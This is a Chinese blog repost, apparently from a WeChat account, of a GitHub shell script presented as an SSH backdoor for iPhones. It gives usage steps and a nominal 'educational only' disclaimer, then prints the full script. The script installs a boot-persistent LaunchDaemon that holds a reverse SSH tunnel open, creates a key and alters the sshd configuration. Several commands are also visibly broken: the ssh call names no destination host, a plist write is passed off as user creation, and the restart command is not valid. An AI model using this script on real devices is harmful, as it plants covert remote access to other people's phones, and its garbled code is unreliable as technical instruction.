嗨，大家好，欢迎来到【好文分享系列】，不定期转载干货好文，实用工具，分享给大家一起学习进步，一起卷起来~，为了防止迷路，别忘了给【玄魂工作室】点个星标哦！
原文链接如下：https://github.com/SleepTheGod/iPhone-SSH-Backdoor
这是一个在 iPhone 上创建 SSH 后门的 shell 脚本。
该脚本在 iPhone 上创建一个新用户，创建用户主目录中的一个文件夹，将 SSH 二进制文件复制到该文件夹中，更改二进制文件的权限，创建一个启动守护进程来运行该二进制文件，创建一个 SSH 密钥，禁用密码认证，然后重新启动 SSH 守护进程。
用法：通过 USB 将 iPhone 连接到计算机上。打开一个终端窗口并导航到保存脚本的目录。通过键入“./ssh-backdoor.sh”并按回车键来执行脚本。
免责声明：此脚本仅供教育目的。请勿使用它来未经授权地访问他人的设备。该脚本的作者不对其使用造成的任何滥用或损坏负责。
#SSH backdoor for iPhone: Made by Taylor C Newsome Twitter.com/ClumsyLulz#Create a new user on the iPhonedefaults write /var/mobile/Library/Preferences/com.apple.mobile.installation.plist userhome_uid 501#Create a folder in the user's home directorymkdir -p /var/mobile/Containers/Data/Application/<unique-identifier>#Copy the SSH binary to that foldercp /usr/bin/ssh /var/mobile/Containers/Data/Application/<unique-identifier>/ssh#Change permissions for the binarychmod +x /var/mobile/Containers/Data/Application/<unique-identifier>/ssh#Create a launch daemon to run the binarycat << EOF > /Library/LaunchDaemons/com.example.ssh.plist<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.example.ssh</string><key>ProgramArguments</key><array><string>/var/mobile/Containers/Data/Application/<unique-identifier>/ssh</string><string>-i</string><string>/var/mobile/Containers/Data/Application/<unique-identifier>/id_rsa</string><string>-p</string><string>2222</string><string>-R</string><string>8080:localhost:22</string></array><key>KeepAlive</key><true/><key>RunAtLoad</key><true/><key>UserName</key><string>mobile</string></dict></plist>EOF#Load the launch daemonlaunchctl load -w /Library/LaunchDaemons/com.example.ssh.plist#Create the SSH keyssh-keygen -t rsa -b 4096 -f /var/mobile/Containers/Data/Application/<unique-identifier>/id_rsa#Disable password authenticationecho "PasswordAuthentication no" >> /etc/ssh/sshd_config#Restart the SSH daemon/usr/sbin/sshd restart
文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NDk5NTYwNw==&mid=2651429719&idx=1&sn=d95979ec9854545bf04f48801196a6b1&chksm=8423802fb3540939153b2c53c041f53ef2c49bc48519ff915cc18c0267e43e35e1c63d139ded#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh